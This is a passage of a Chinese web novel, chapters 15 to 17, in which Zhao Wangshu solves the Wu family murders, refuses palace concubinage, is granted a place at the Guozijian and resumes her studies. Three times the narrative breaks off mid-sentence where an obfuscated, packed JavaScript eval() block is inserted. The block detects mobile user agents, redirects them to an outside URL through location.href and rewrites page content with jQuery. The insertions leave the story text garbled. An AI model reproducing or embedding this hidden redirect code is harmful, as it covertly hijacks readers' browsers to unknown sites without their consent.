事已至此,吴瑁全然不顾什么世家礼仪,他像个泼皮一样高声叫骂,还试图重新冲上前责打吴烨。 这时,不等金吾卫出面阻止,吴烨自己一挥手臂,直接把吴瑁推倒在地。 “别装模作样了,当年兄长出事,母亲要求把我送到寺庙出家赎罪,你不是第一个阻止的吗?你觉得兄长身体坏了,今后读书、子嗣都会艰难,所以你捏着鼻子也要转而培养我,今日若非当众公布我的罪行,而是只有你一人得知,你难道不会隐瞒保下我吗?” 吴烨终于开口,他全然没有辩驳杀人指控,却是冷笑着对吴瑁吼道:“父亲,你总说兄长类你君子端方,却训斥我小人心性,但是到头来,你也只是个可以拿亲人性命权衡利弊的伪君子。” 真是上梁不正下梁歪的典型,蔡琮佳又嫌弃又诧异地瞧着这出父子互相诛心的闹剧,似乎没想到平日里儒雅清正的吴瑁实际面目如此丑陋,而冯玄晖仍旧一副含笑看好戏的姿态,倒像是早有预料。 赵望舒收回视线,她正准备指挥金吾卫将吴烨收押,却听到吴瑁魔怔似的质问吴烨:“我亲自教养你那么长时间,你也像是悔改了,怎会突然在半年前谋害你兄长,是不是公主诱导你?她从来不安于室,与小叔子也能勾搭牵扯,是她暗示你下手对吗?” 看来吴瑁属实被刺激得不轻,他这种清高文人见不惯汝阳公主的风流做派不奇怪,但他从前没有说过公主半句不是,显然清楚妄议皇族的后果,而今却破罐子破摔,就差骂出粗俗字词了。 “你为什么不觉得是你的教导有问题?抑或吴烨他就是天生恶性呢?” 她一时没忍住,出声打断了吴瑁推卸责任般的抱怨,随后又朝吴烨轻嗤道:“其实你对公主没有什么情谊吧,否则就不会让她替你背负杀害吴烁的嫌疑和骂名。” “不过公主大抵同样看不上你,我找到了吴烁房间里的诗稿,公主与他称得上恩爱,专不专情是另一回事,但她再风流也未必想沾驸马的弟弟,那些关于你与公主存在私情的传言应当不实。” 赵望舒心知像吴烨这等残忍无情的人,若是质问他为何接连犯案,他不仅不会羞愧内疚,恐怕还觉得得意,但要是明里暗里贬低他,尤其拿他一直嫉妒的兄长吴烁作比,他必定介怀不已。 果然,吴烨脸色顿时沉了下来,可是他的回应却出人意料:“什么恩爱?齐娩她哪里是在乎礼义廉耻的人,她不肯与我这个小叔子传情,倒是和自己的侄子打得火热,你们斥我罔顾人伦,岂知那宫里的人比我更甚?” 汝阳公主和侄子……那不就是皇帝齐慕远吗? 此言一出,不止是赵望舒,蔡瑾瑜、蔡琮佳、康瑛等一众金吾卫也本能地面露惊愕,甚至于冯玄晖都微微变了脸色,显然没人提前知晓吴烨口中所说的皇室秘辛。 “逆子,你还嫌给吴氏惹的祸不够多吗?你怎敢议论陛下……” 吴瑁先前诋毁汝阳公主的时候不加收敛,听到齐慕远被提及倒是瞬间清醒过来,他还对保留家族根基抱有希望,因此拼命想要阻止吴烨继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蔡瑾瑜是出于可能成为皇后以及维护齐慕远的立场而发言解释吗?未必,她此时与齐慕远不过几面之缘,与其说她打圆场是为了皇室,倒不如说是为了在场众人,毕竟获悉皇室秘辛意味着巨大风险。 赵望舒立刻惊醒了,她附和着对金吾卫喊道:“没错,还愣着做什么,快将吴烨收押,免得他再妖言惑众。” 虽然不知道书中桃花运旺盛却情有独钟的男主齐慕远为何会沾惹禁断恋的传闻,但她相不相信抑或传闻是真是假皆非关键,关键在于她不能表现出探究的意图,甚至最好装聋作哑、若无其事。 数名金吾卫一同上前缚住吴烨双手,他倒也全无反抗,只在被押走之前给吴瑁留下了一句话:“父亲,我曾以为杀死兄长那天是我一生中最快意的时候,可是现在我发现毁掉你视如性命的吴氏一族,滋味更好。” 吴烨被押走了,而吴瑁则气得身体发颤,须臾,他竟是吐出一口血来,这副形容堪称凄惨,在场却没有人同情心泛滥到去劝慰他。 15. 问责 案情告破,凶手被捕,众人的心情却没有丝毫放松。 赵望舒还捏着那两张如同烫手山芋的信纸,所幸康瑛很快主动将其取走,未知是否会递呈到冯太后桌前,又或者那位眼线遍布皇城的摄政太后早就获悉了这件事。 “赵小姐,短短一个日夜你就查明真相,想来太后娘娘和陛下定然会不吝嘉奖。” 身后传来蔡瑾瑜道喜的声音,同时还有蔡琮佳懊恼没能猜中真凶的抱怨。 她转过身望着这对兄妹,不禁苦笑一声:“希望承你吉言,但这桩案子牵扯出许多阴私秘辛,我只怕反而惹祸上身。” 蔡瑾瑜了然地点了点头,旋即真诚嘱咐道:“权当没有听过便是,尤其接下来你可能还会被召入宫中陈述案情,千万谨记莫要说漏了嘴、把吴烨那番话语捅到御前。” 这提议自是合情合理,可赵望舒无法将话题就此揭过,她压低声音说出一个请求:“有一位名叫石威的校书郎与公主关系匪浅,他的宅邸就在真定坊,可否拜托蔡少卿以大理寺名义登门、逼问石威有否收到与吴烨一样的信件?” 书中汝阳公主死于石威之手,而石威交代的杀人动机是情感纠纷,但若事实并非如此呢? 赵望舒必须弄清楚这一点,就算为此承担探究皇室秘辛的风险。 令她动容的是,蔡家兄妹本来没有义务帮助她、和她一同冒险,但两人还是答应了她的请求。 她在吴府门口别过兄妹二人,又见康瑛等一众金吾卫赶着进宫复命,她就没有劳烦卫兵护送,而是选择独自回家。 不过很快她就后悔了,因为她察觉有人在跟着她,并且对方丝毫没有掩盖脚步声,显然无所顾忌。 赵望舒皱了皱眉,刻意拐着弯走路,终于在踏进永兴坊地界的那一刻转身将背后高挑俊雅的男人看了个正着。 “睿王殿下,你我并不顺路吧?” 她凝视着冯玄晖,口吻虽是轻描淡写,但暗讽的意思却也藏得不深,只差责问他何以行跟踪鬼祟之事。 冯玄晖没有立即回应,他一步步走向她,而她在心底安抚自己,光天化日、天子脚下,任他再有权势也无法肆意妄为,可是她的身体却本能后撤,直至对方来到她近前。 在她强装镇定的注视中,冯玄晖拿出那件狐皮氅衣,笑着对她打趣道:“如此冰天雪地,赵小姐只穿一件轻薄襦裙也不见发抖寒颤,难不成搜证探案还有让人忘却感知的奇效?” 被他这么一说,她竟当场感觉有些瑟缩,至于方才没有反应,半是真如冯玄晖所言、因为沉浸办案而忘记了,半是她练武多年,哪怕受限于小县城出身找不到质量好的师父,却总归积攒着内力傍身,可供抵御严寒。 赵望舒不相信冯玄晖有那么好心,跟了她一路只为还衣,但她未免多生事端,便只伸手想从他那里接过氅衣。 冯玄晖却绕开她的动作,俯身亲手给她披上氅衣、绑好系带,恍若体贴亲昵。 她没有产生半分羞涩,因为她听见耳畔响起极轻的声音:“你我之间究竟是不顺路,还是道不同不相为谋?” “殿下,臣女听不懂您的话。” 赵望舒心头一紧,她想要退后与冯玄晖拉开距离,却被紧紧压住肩膀,再度落入无力的挣扎中。 永兴坊的街道上落雪纷飞,角落里一对姿容不俗的男女依偎得极近,从行人视角看来两人仿佛在亲密相拥,可是只有当事者自己知道,这更像一场单方面的问责。 “百足之虫死而不僵,一个吴烨动摇不了吴氏的根基,你决意揭发吴烨罪行,必定也知道自己会遭报复,因此将蔡家两兄妹拉下水,难道不是打算寻了蔡氏做靠山?当初本王说你只有三个选择,未料你竟辟了第四条路。” 冯玄晖的语气如常温和,她却能从中听出压抑着的不满。 她先是感到莫名其妙,后又反应过来,她本就破坏了冯玄晖针对蔡氏的阴谋,如今还与蔡瑾瑜、蔡琮佳相处熟络,在他眼中无异于投靠了他的敌人。 赵望舒深吸了一口气,她并不认为自己应该给他一个交代,但也不想默认他的说法,于是只简洁反驳道:“蔡氏也好,您也罢,臣女并未视作靠山,而吴氏的报复,臣女自有办法应对。” 这番回答引得冯玄晖发出一声低笑,他觉得赵望舒实在是个很有意思的人,她行事小心细致,似乎性情谨慎,却又做出接下查案重任、冒犯世家权贵这种大胆举动,对他更是时而装作恭敬时而暗讽呛声,倒显得脾气轻狂。 两种矛盾的特质当然无法完全融合在同一人身上,冯玄晖直觉后者才是她的本性,因此他实际上没有计较过她的冒犯,他只是不能容忍她总带来计划外的变故。 “中立派可不是那么好当的,从前的吴氏一族便是著名中立派,如今墙倒了便没有靠山支撑,不过选错靠山倒得更快,譬如已经不复存在的殷氏和申氏。” 赵望舒听见面前的人拿京城望族的兴衰为例,暗示她勿要做错选择,她却越来越不解——冯玄晖为什么执着于拉拢她,他面对不稳定因素的态度不应该是忽略或打压吗? 下一秒,束缚着她的力道放松些许,她顿时没有心思再去深想,只挣扎着转过身,随后拼命跑到几里外。 冯玄晖站在原地凝视着她的背影,皂角苍术浓郁的气味萦绕在他周身,他回想起片刻前给她披衣时无意间触到的细腻肌肤,心中陡然升起一种陌生而怪异的感觉,让他的笑容都为之僵硬了片刻。 * “现在外头都在传兵部尚书府的赵小姐破获了公主被害案,名声风光倒是俱全,但同时还有那凶犯背后吴氏的记恨,吴氏可是历经三朝的世家,族人姻亲遍布朝堂……” 正月十九,上元节过后第四日,赵望舒正坐在自家府邸的厅堂中,她一边吃着早点,一边听父亲赵腾逸在耳边抱怨发愁。 她将最后一个馄饨塞进嘴里,随后放下饭碗,口吻淡定地回了一句:“殷氏和申氏也曾是盛极一时的望族,而今还不是彻底销声匿迹。” 赵腾逸哑口无言,他却不觉窘迫,反倒像被安抚住一般松了口气,但这口气却在瞥向同样坐在食案边上的赵钧山时又提了上来。 “舅舅、不……父亲,我听说这两日上朝您收到许多弹劾,难道您就不担心是吴氏在伺机报复吗?” 这一家人过继认亲不到几个月,赵腾逸显然还没完全习惯改口,好在赵钧山并不介意,他只摆了摆手:“太后眼明心亮,自然不会因为些莫须有的弹劾降罪,我又有何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14802699|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好担心,反倒是月儿……原先以为让她在太后面前露个脸,为此得罪那些身份不凡的嫌犯亦是值得,可没想到牵扯出那吴二公子谋害九条人命的重罪,吴氏是自顾不暇的,我唯独忧心其余世族会因唇亡齿寒而一并敌视她。” 赵望舒出生于中秋之夜,因而以月亮的雅称为名,小字则直唤作月儿,平日里亲人也惯喊她的小字。 面对赵腾逸和赵钧山的担忧目光,她却是仍旧从容不迫:“父亲,祖父,吴氏甚至其余世族的敌意,我有办法应付,绝不会连累家中。” “我们怕的不是什么连累,而是你的前途……” 赵钧山话还未说完,也没来得及问清楚她应付的办法,就被匆匆赶来的小厮打断了。 只听那小厮通报称宫中天使携懿旨而来,此刻已经到了赵府门口,闻言,祖孙三人自是无法继续安坐,只以最快速度赶到府门前。 天使诵读懿旨内容,大意是令赵望舒即刻进宫,虽没说明缘由,但可想而知只能是为了汝阳公主一案。 赵望舒起身接旨,她正要吩咐人去备马,却先一步瞧见停在不远处的车驾,车帘适时掀起,露出蔡瑾瑜和蔡琮佳兄妹二人养眼的姿容,她顿时改了主意,别过父亲与祖父就径直奔上蔡家的马车。 “今日太后传召我与二兄觐见,我料想是为着询问公主的案件,而赵小姐你作为主审官自然不会缺席,我便提前出发到你府外等候……” 蔡瑾瑜空出身旁的软椅供赵望舒落座,说笑寒暄几句过后,她旋即压低声音切入正题:“昨日二兄到石威的宅邸,直白逼问他是否收到威胁信件,他一开始不认,但二兄隐晦点出公主与陛下……他立时就招了,只求着二兄不要将他与公主的私情捅到御前。” 石威果然也收到了信件,他、吴烨和张统领均是汝阳公主风流轶闻的男主人公,只不过吴烨同公主并无私情,石威却真是公主情夫,而且他害怕毁了仕途,所以有心按照寄信者的威胁作案。 赵望舒的脸色瞬间转为凝重,原书不曾交代过信件的事情,可它却让整桩案件性质发生了改变——有一个藏在暗处的人千方百计想要置汝阳公主于死地,祂的动机是什么?信件内容是真是假、祂又为何会得知皇室秘辛? 还有汝阳公主意图谋害冯太后一事。 皇帝的姊妹应封长公主,姑母应为大长公主,但汝阳和襄城二位公主至今仅有公主名分,以齐慕远待两个姑姑的亲近,这显然不合理,唯有他做不了主、而能够做主的冯太后不想抬举她们一种解释。 所以汝阳公主的杀心有迹可循,她想要除掉太后、想要代替太后控制齐慕远弄权,这都不难理解,问题在于——她为什么选择上元节这个时间点动手? 公主的计划有很多漏洞,比起吴烨谋杀她的布置更容易暴露,她和冯太后相处已有二十多年,必然清楚太后是多难对付的人,也必然清楚事情败露她必死无疑,齐慕远救不了她。 吴烨仓促行凶,是因为他必须灭口公主以掩盖弑兄秘密,而公主非要在准备不全的情况下刺杀太后,难道也有什么紧迫的理由吗? 赵望舒陡然发现,她抓住了凶手,却不意味着谜团被彻底解开,这桩案子并未落幕,背后可能还隐藏着未知的阴谋。 16. 嘉奖 当引路太监将赵望舒三人带进太后日常办公的江山殿时,冯太后和齐慕远已经并肩坐在御座两端,她没有多作停顿,只随着蔡家兄妹一同跪拜行礼。 “平身,不必多礼。” 齐慕远主动开口将她们唤起,赵望舒这才抬眸直视圣颜,时隔不过几日,她对这位年轻天子的印象愈发复杂,那些不知真假的传闻终究还是影响了她的思绪。 止住愈发危险的想法,她移开视线,不经意与冯玄晖的眼神有瞬间相接,他仍穿一身玄色锦服,端坐在御座左下方,正毫不掩饰地盯着她。 赵望舒倒不意外对方会出现在这里,毕竟她、冯玄晖和蔡家兄妹都参与了查案过程,太后和皇帝若要过问,她们自当全部到场说明情况。 果不其然,她犹自思量着,上首的冯太后清咳一声,随即高声说道:“康将军已经将前因后果大致禀告于哀家和皇帝,但其中细节,还是要你们亲自讲述才更清楚。” 赵望舒早有准备,她知道冯太后虽说要听细节,但却不可能真的耐心到能够听完她一日一夜查案的每个环节,因此她将重点串联在一起,像说书般流畅叙述。 “短短半年,竟犯下九桩命案,其中八名死者还是在近日被连续杀害的,这个吴烨心思狠毒又不失缜密,差点真叫他逃脱罪责,有这等毅力若能用在正途上,他何须去嫉恨自己的父兄呢?” 冯太后按住听闻汝阳公主死亡内情而悲愤交加的齐慕远,她还算客观的给这起连环命案做了评价,但显然也是不会轻易饶过吴烨。 物证齐全、凶手伏法,也就无异于结案了,因此冯太后揭过这个话题,开始朝赵望舒和颜悦色地慰问道:“好孩子,你叫望舒对吗?听说你不眠不休忙活了将近十二个时辰破获此案,足见努力和能力兼而有之,实属难得。” “太后娘娘谬赞,臣女只是尽力而为,若无康将军与其女康小姐、蔡小姐、蔡少卿还有一众金吾卫的帮助,光凭臣女一人也做不到查清全部真相。” 这并非谦虚言辞,赵望舒真心感念这些人的帮忙,尤其是康瑞叶,凭借其灵敏嗅觉挖出藏匿吴府的五具尸体堪称是破案关键,所以她无论如何也不能独揽功劳。 闻言,冯太后笑着将她喊上前,她头一回近距离接触太后,忍不住悄然端详起对方。 太后年近不惑,发丝依旧乌黑浓密,面容上找不出一丝细纹,那双狭长而眼尾斜飞入鬓的丹凤眸显得很眼熟,加之此刻对方笑意正浓,就更让她感慨侄子肖姑。 “望舒,你未免太过实诚,列出一堆名字,却也不多提几句自己的事情。” 冯太后亲近而慈和地看着她,直截了当问道:“哀家自然会嘉奖康将军等人的,你且先说说你自己想要什么赏赐?” 面对这种问题,常人要么谦和推拒,博个不逐功利的美名,运气好还能被‘强行’赏赐些东西,要么讨点彩头之类不实际的东西,展示皇恩眷顾,毕竟总不能实诚到真的开口求官职或是替家人求封赏。 在场众人都认为赵望舒会选择后者,因为前者显得虚伪,不符她平常表现。 因此谁也没有预料到,她竟然从怀中取出一叠类似诉状的纸张,随后弯曲膝盖跪在地上,脊背却挺拔如竹,清亮声色回响在殿中:“臣女确有所求——吴氏一族侵占民田、欺男霸女、包庇朋党……臣女恳请太后与陛下检阅罪证、圣明决断,还无辜受害百姓一个公道!” 她双手捧着的诉状被递呈到御座前,齐慕远正襟危坐,像是明白事情很严重,却又不知该如何应对,与之相反,冯太后立即拿起那叠纸一张张认真翻看,越看眉头皱得越紧。 须臾,冯太后将诉状拍在桌上,满脸怒容不作遏制,语气更是凌厉非常:“好一个吴氏,鱼肉百姓,作奸犯科,却好意思自称什么清流名门,难怪出了吴烨这等恶徒,原来是根子里就已经烂透了!” 齐慕远的情绪尚且有冯太后能够压制,冯太后的怒火却无人可以打消,她当即传令金吾卫查抄吴府、再将吴瑁为首的一干吴氏族人全部下狱,等候三司会审。 而导致一个世族彻底走向衰败的赵望舒只是轻飘飘起身立在一旁,既不得意也不叹惋。 这就是她的办法,自此吴氏再没有能力报复她,其余世族更是要暂时夹起尾巴做人,以防遭到牵连。 当然,她能够达成目的,也是占了天时地利人和的优势。 二十年前,漠北进犯大业,从边境凉州以至江州、楚州等南方地带皆遭战祸,漠北人可不管什么平民贵族,见者即杀,赵望舒祖母的家族江州赵氏就在那时败落,南方望族多数就此消失,北方世家虽没受到重创,但影响力也大不如前。 而在冯太后主政期间,她任用良将,收复大片失地,却没有帮扶世家的想法,反倒还大力提拔寒门庶族,显然意图进一步打压世家,赵望舒只是抛出引子、给了她发难的理由。 太后话音落尽,赵望舒与周围人一齐屏息敛声,满室寂然,皆以为这场觐见很快就会结束。 可是仅仅转瞬之间,冯太后又恢复了方才的平和表情,她将蔡瑾瑜和蔡琮佳一同召到近前,而后侧身对齐慕远暗示道:“先前宴会出了乱子,所有人都一心关注命案,倒是把宴会的真正目的忘了,如今已然结案,合该切回正题。” 赏灯宴举办的目的是什么?是给皇帝选秀相看。 赵望舒这才明白,蔡家兄妹被传召进宫的缘由与她根本不同,她们很可能是因立后一事而来。 “母后,姑姑遇害距今不到十日,儿臣哪里有心思迎立后妃。” 齐慕远当然听懂了太后的言下之意,但他并没有配合,只是神色恹恹地表达抗拒。 面对皇帝的不情愿,蔡瑾瑜姿态淡定,她兄长蔡琮佳倒是显出几分尴尬,唯有冯太后依旧不改主意:“向来只闻为母、为父守孝,倒没听说给姑姑守孝不通婚嫁的道理。” “皇帝的婚事亦是国事,一日未定,朝臣躁动,若你执意不肯也罢,哀家给他们找些事做堵住他们的口就是——譬如让他们查清楚究竟是谁胆大包天欲图谋害哀家……” 齐慕远的脸色登时变了,或许他已经意识到汝阳公主谋害太后的计划,而此事若泄露人前,恐怕公主的死后哀荣也就无法保证了,因此他闭了闭眼,最终妥协道:“儿臣听凭母后安排。” 随后的发展与原书一致,蔡瑾瑜的名字被写在立后诏书上,但是少了携手破案、朝夕相处,这对未婚夫妇的表现可谓冷淡。 赵望舒暗中观察着众人的反应,还不忘瞥一眼冯玄晖,出于阻止皇帝与蔡氏联合的角度,他应当不乐见这桩婚事,但他没有显露出丝毫不悦,只眉眼含笑着与她对视。 然而接下来的变故却让自认为旁观者的两人同时神色一僵—— 只见齐慕远指着她,仿佛赌气般喊道:“上元节当晚赵小姐也留下了,朕可以一并选她为妃吧?朕惯爱看探案话本,赵小姐又善于查案,想必能与朕志趣相投。” 莫名其妙被点名的赵望舒既惊讶又郁闷,她侦破汝阳公主的命案,算是解决了齐慕远的心头大事,他怎么能恩将仇报呢? 她旁边的蔡家兄妹则面露难色,似乎想要帮她说话,只是碍于立场不好开口,而冯太后惊愕地瞪着齐慕远,像是想不到他会整这种幺蛾子。 纵观全场,率先提出异议的人居然是冯玄晖:“陛下,臣以为不妥,一个有查案断狱才能之人可选入刑部、大理寺、抑或各州提刑司,但折进后宫却是明珠蒙尘。” 冯玄晖从席位上站起,他罕见地收敛起笑意,表情严肃郑重,无端突出了他五官的俊美凛冽,这副神容落在赵望舒眼中,令她一时发怔。 她总忍不住把他的一举一动往坏处想,譬如他是不是怕她成为妃嫔后会凭枕边风针对他,又或者他不希望更多势力向齐慕远那方归服,她祖父毕竟是朝中重臣……但她许是昏了头,竟有片刻揣测他是发自真心替她说话。 “望舒,你怎么想呢?是像睿王所说愿为朝臣,还是顺了圣意陪伴君侧?” 这时,冯太后终于缓过神来,她不理会齐慕远,只径直朝着赵望舒发问。 赵望舒方才已经思考良久,她心知没有两全其美的答案,因此只委婉却坚定地回道:“臣女诚心敬仰太后娘娘,若可与您做一家人自是三生有幸,但臣女无能侍奉陛下,亦无力辅佐皇后,不配伴君之侧。” “不必自贬,人各有志罢了。” 言毕,冯太后复又看向齐慕远,她没有强硬干涉,而是晓之以理动之以情地问道:“皇帝,宫廷之外,甚至京城之外还有无数人命官司,那些受害者家属的心情和你为汝阳产生的悲伤并无区别,你觉得望舒应该去帮助那些人缉捕凶犯,还是陪你聊天谈论探案话本?” 齐慕远轻易就被动摇了心思,他脸上流露出几分愧疚和懊悔:“赵小姐自该去做实事,是朕方才莽撞了。” 听到他这句话,赵望舒终于松了一口气。 “瞧把你吓的,哀家倒是想好该赏你什么了。” 冯太后笑着调侃她,随即正色宣布道:“听闻你已有举人功名在身,约莫两个月后就是春闱会试,你若有意今年下场,哀家便特许你一个名额进入国子监备考。” 国子监是全国最高学府,拥有上等教育资源,同时汇聚天下身份高贵或才识出众的青少年,无论出于进习知识还是积攒人脉考虑,它都是学子们挤破头也想进入的地方。 赵望舒身为兵部尚书的孙女,自然可以蒙恩入监,但她进京时间太迟,春闱将近开考,家中没有打算令她匆忙应试,因此放弃了让她中途进学,预备等待下一次会试。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807399|158166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯太后明显看出她的迟疑,遂提点了一句:“你如此年轻就能一路考过县试府试院试乡试,可见是有真才实学的,因何犹豫为难?须知下次会试要等三年后,三载光阴足够你在官场上历练成长、甚至做无数实事了。” 过往对着那些她本心不喜的圣贤书苦读的一幕幕浮现在赵望舒脑海中,再结合冯太后的言语,她心一横,便也谢恩受赏,决意春闱下场搏个前程。 过后不久,太后的掌印女官通报礼部两位侍郎已至殿外待召,因此包括齐慕远在内,所有人皆行礼告退,不敢耽误冯太后处理政务。 赵望舒原本打算像来时一样,借蔡家的马车回府,但刚一出殿门,襄城公主的侍从就请走了蔡瑾瑜,她和留下的蔡琮佳面面相觑,自是不好同乘车驾。 她放缓了步伐,独自越过宫门,身后忽然响起熟悉的清润声线,她已经不感到意外,只平静地转身看向来人。 不管先前怀有多少偏见怨念,她并未失礼,仍为殿上冯玄晖替她周旋的举动道谢:“睿王殿下方才出面劝诫,臣女感激不尽。” 但也只有一句感激,毕竟算起以往对方的几番恐吓,她无法觉得自己欠他人情。 “不过是举手之劳。” 冯玄晖倒没有挟恩自重,他仅是顺势走到她旁边,一边自然而然地与她并肩走在雪地上,一边轻声讯问:“寻常妃嫔与实权朝臣不能相提并论,可若陛下许你后位,你也仍会抗拒、选择走仕途吗?” 这问题有些突兀,引得赵望舒脸上显出几分困惑,她不解冯玄晖的用意,却还是点了点头。 见状,冯玄晖嗓音带笑,向她耐心解释道:“同样是攀登权力之巅,皇后有机会登顶,朝臣却始终被限制,蔡氏若非想要培养下一个摄政太后,怎会把蔡小姐送进宫中?像你这般不心动,反而少见。” “正如方才太后娘娘所说,人各有志罢了。” 赵望舒很清楚自己不擅长统治决策,没有冯太后那般手腕,所以她做不成掌权者,只打算在官场历练谋求高升,而蔡瑾瑜属意后位,想要通过加入皇室来争夺权力,选择不同,却无谁对谁错、谁高谁低。 不知为何,发觉她态度真诚后,冯玄晖竟叹了口气,只是没等她产生疑惑,他很快又转了话题:“吴氏毕竟百年世家,私底下如何脏污不说,但要是能被轻易揪住罪证,他们也就无法屹立三朝不倒了,本王有些好奇,你是怎么拿到那些诉状的?” 这没什么不好相告的,赵望舒很干脆地答道:“不是有一个人和臣女一样想毁掉吴氏吗?吴烨被捕次日,臣女凭借康将军的关系进天牢与他单独谈话,他作为吴氏家主的亲儿子,当然对族内各类恶迹了如指掌,臣女便顺着他提供的线索一路搜集证据,最终收全诉状递呈御前。” 她口吻中稍微透露出些许自得,眼角眉梢泛着轻快的意韵,鲜妍明媚,仿佛冰天雪地中一抹难觅的春色。 冯玄晖心神一晃,凝视她的目光中就不自觉添上几许温柔深邃:“吴烨可是个杀人不眨眼的凶犯,你揭穿了他的罪行,居然敢单独与他谈话,就不怕他伺机伤害你吗?” “臣女不担心,吴烨的想法与常人不同,对他而言,将他父亲吴瑁和整个吴氏一起拽下地狱比报复臣女更重要。” 却见赵望舒摇了摇头,学着他的模样浅笑应答,果真不见丝毫惧意。 冯玄晖只觉她实在聪颖灵慧,胆大却不莽撞,更是不避讳用些狡猾使诈的手段,因此他心中愈发欣赏,不禁直言问道:“若你愿意,无论春闱结果如何,刑部都有你一席之地,官途畅通无阻,如此你也不肯为本王效力吗?” 赵望舒当然不肯,假使她答应投靠冯玄晖,岂非相当于主动顺应原书剧情?她只不过会从被他暗地里操纵的刀变成他明面上的棋子。 她没有点头或摇头,仅是沉默着不说话。 但冯玄晖怎会看不出她的抗拒,他的笑意瞬间淡了下来,却没有像先前一般威逼利诱,而是一路陪赵望舒走到赵府府门外,保留了两人难得平和相处的记忆。 赵望舒踏入自家府邸,她忽略了父亲好奇冯玄晖身份的询问,只在府门彻底关闭前没忍住回眸看了一眼,视野中那人肩披落雪、剑眉轻挑,似是开怀于她的转头送别,唇边笑意显得比往常真切。 她究竟希望破坏剧情、与他为敌,还是避开剧情、与他形同陌路? 赵望舒尝试过前者,却是徒劳无功,现在她想选后者,因此,刚才确实算是告别吧。 “国子监的刘司业亲自上门,月儿,快快出来拜会……” 静默半晌,祖父赵钧山的呼喊声传来,打断了她的思绪,想到往后的国子监进学和春闱会试,她很快提起精神,整理仪容以接待客人。 未来未知,她当下却还有前程要赴。 17. 话本 京城,国子监。 辟雍西侧广业堂中的第一间房,十几个身穿同样青色襕衫的年轻女子端坐在各自书案前,低头专注地翻阅书卷。 直至案上的香烛燃尽,不知是谁先喊了一声‘已到午时四刻’,众女纷纷放下手中书卷,准备出门去用午膳。 “听说立后大典定在四月初二,那时我们刚刚考完会试,正要准备殿试,可见是没空闲去观礼的。” 她们收拾东西的时候难免聊几句话,而话题自然绕不开春闱和近期的朝野重事。 “你自去就是了,寒窗苦读十二载,难道结果还由得一日十二个时辰影响?” 你一言我一语,她们很快起身往门口走去,这时,坐靠门边位置、仍在提笔写字的高挑少女将她们一惊:“望舒,你不去用午膳吗?腹中饥饿,午后会没精神的。” 赵望舒叹了口气,她一边举起纸轴给众人展示,一边苦笑道:“昨晚遇见许祭酒,他说监生的省卷大多已经收齐准备送往礼部,只差我和少数几个人,我这不就得紧赶着修撰嘛。” 科考中有一项制度名为纳省卷,考生需从自己以往创作的诗赋杂文中选出精粹编成一集省卷,呈递给礼部主司,相当于春闱正式开考前的初试。 “你还没有编好省卷?要不我留下帮你……” 说话的是颍川侯府二小姐陆慈,她曾与赵望舒一起在上元夜宴伴驾赏灯,因此两人成为同窗后很快便产生了不浅的交情。 赵望舒摇了摇头,用玩笑口吻委婉拒绝道:“小慈你的文采太好,万一帮我将省卷编得超出我本身的笔力,我可就要被人检举舞弊了。” 听了这话,众人笑作一团,而角落里和赵望舒举止相仿的女子也在此刻被注意到。 “清屏,你该不会也没有编好省卷吧?” 那女子只是点了点头,手中动作却没有停下,引来旁人善意的调侃:“望舒入国子监一个多月、时间匆忙才编不完省卷,你在这读了一年书,却跟人家进度一样,羞不羞呀?” “你们夏季用我熬夜造出的冰鉴降暑时羞不羞?前几日用我制作的千里镜观星时羞不羞?” 宋清屏外表端庄秀美,却是性烈如火,所幸同窗们熟知她嘴硬心软的本性,没人感觉被冒犯,反倒有几个涌上去搂她:“知道你研究的都是好东西,但临近春闱,你合该专心些备考。” “去去去,你们不还要凑立后大典的热闹,说什么不差一两日时间的,怎对着我就开始劝学了?” 宋清屏将纸轴一卷,给她们每人肩膀处拍打了一下,随后直跑到赵望舒身旁挨着她落座:“我跟望舒待在这里编省卷,你们快用膳去吧。” “那等用完午膳,你们若是还未到,我们就用食盒带些吃的回来。” 随着房门被打开又关闭,欢闹声逐渐远去,屋内仅剩下笔触落在纸上的沙沙细响。 然而安静的氛围也并没持续多久,赵望舒正圈写着自己所著诗作中可编入省卷的内容,耳边倏地传来几句含有困惑的抱怨。 “真不知她们近来是怎么想的,一日至少提醒我三次专心备考,各位师长、甚至我母亲都没她们那般热切……” 赵望舒却是明白其中内情,她笑着解释道:“凡是竞争,下至寻常诗会斗武,上至严肃正经的科考,人们都最关心输赢名次,因此就衍生出赌局,你这是被人押注了。” “你是说国子监里这群整日表现得视金钱如粪土的高雅学子们,私底下参与赌局?” 宋清屏一边用着惊讶语气追问,一边速度极快地挥动着手腕,字迹却还刚劲有力,不显潦草。 赵望舒做不到像宋清屏这样一心二用,只在奋笔疾书写好省卷之后才回答:“因为赌注不是财物,而是输家每年要给每位赢家写一首赞美诗。” 听罢,宋清屏也已经完成修撰,她像先前一样用那寻常学子珍视无比的省卷轻拍了一下赵望舒后背:“听起来倒有点意思,你既早知道这赌局,怎不顺带告诉我?” 